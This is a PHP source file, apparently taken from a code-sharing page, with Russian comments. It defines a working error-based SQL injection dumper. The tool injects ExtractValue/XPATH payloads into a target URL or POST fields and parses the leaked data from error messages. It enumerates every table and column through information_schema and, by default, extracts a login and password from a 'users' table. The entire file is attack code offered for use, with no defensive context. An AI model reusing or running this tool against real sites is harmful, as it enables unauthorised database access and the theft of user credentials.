php set_time_limit false ignore_user_abort true class SQLInjectionMySQ

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php
set_time_limit(false);
ignore_user_abort(true);
class SQLInjectionMySQLDump {
protected $ch, $postparams = array(), $url, $data = '';
/* setPost(String[] $params) - параметры POST-запроса */
public function setPOST($params) {
if(is_array($params) && count($params) > 0) {
$this->postparams = $params;
return $this;
}
return false;
}
/* setURL(String $url) - ссылка*/
public function setURL($url) {
$info = parse_url($url);
if(!empty($info['scheme']) && !empty($info['host'])) {
$this->url = $url;
return $this;
}
return false;
}
/* void run() - запуск */
public function run() {
$this->ch = curl_init();
curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, true);
if(preg_match('/^https/', $this->url))
curl_setopt($this->ch, CURLOPT_SSL_VERIFYPEER, false);
//чтобы записать все существующие таблицы и колонки в файл, достаточно раскомментировать код ниже (может выполнятся длительное время)
/*$fp = fopen('tables.txt', 'w+');
fwrite($fp, implode("\n", $this->getTables()));
fclose($fp);*/
echo $this->get('SELECT concat(user_id," ",login," ",password) FROM users LIMIT 0,1'); //выводим результат запроса к базе данных
}
/* String get(String $sql) - добавляет в запросы MID() и обращается к $this->request() чтобы получить ответ полностью */
protected function get($sql) {
$str = '';
$start = 1;
do {
$nstr = $this->request('MID(('.$sql.'),'.$start.',31)');
$str .= $nstr;
$start += 31;
if(mb_strlen($nstr) != 31)
break;
}while(true);
return $str;
}
/* String[] getTables() возвращает в массиве все таблицы + колонки */
protected function getTables() {
$tables = array();
$database = $this->get('database()');
$count = intval($this->get('SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=\''.$database.'\''));
for($i = 0; $i < $count; $i++) {
$tname = $this->get('SELECT table_name FROM information_schema.tables WHERE table_schema=\''.$database.'\' LIMIT '.$i.',1');
$columns = implode(', ', $this->getColumns($tname));
$tables[] = $tname.' ('.$columns.');';
}
return $tables;
}
/* String[] getColumns(String $table) возвращает в массиве все колонки для таблицы $table */
protected function getColumns($table) {
$columns = array();
$count = intval($this->get('SELECT COUNT(*) FROM information_schema.columns WHERE table_name=\''.$table.'\''));
for($i = 0; $i < $count; $i++)
$columns[] = $this->get('SELECT column_name FROM information_schema.columns WHERE table_name=\''.$table.'\' LIMIT '.$i.',1');
return $columns;
}
/* String request(String $sql) - основная часть. Посылает запросы на страницу с sql inj и парсит ответ с XPATH */
protected function request($sql) {
$ssql = 'or(ExtractValue(1,concat(0x3a,('; //start sql inj query
$esql = '))))='; //end sql inj query
$query = $ssql.$sql.$esql; //sql inj query
$nurl = $this->url;
$npost = $this->postparams;
curl_setopt($this->ch, CURLOPT_URL, str_replace('{sql}', $query, $nurl));
if(count($mpost > 0)) {
foreach($npost as $k => $v)
$npost[$k] = str_replace('{sql}', $query, $v);
curl_setopt($this->ch, CURLOPT_POST, true);
curl_setopt($this->ch, CURLOPT_POSTFIELDS, $npost);
}
$res = curl_exec($this->ch);
if(count($npost > 0))
curl_setopt($this->ch, CURLOPT_POST, false);
preg_match('/XPATH syntax error\: \'\:(.*?)\'/', $res, $data);
return isset($data[1]) ? $data[1] : false;
}
}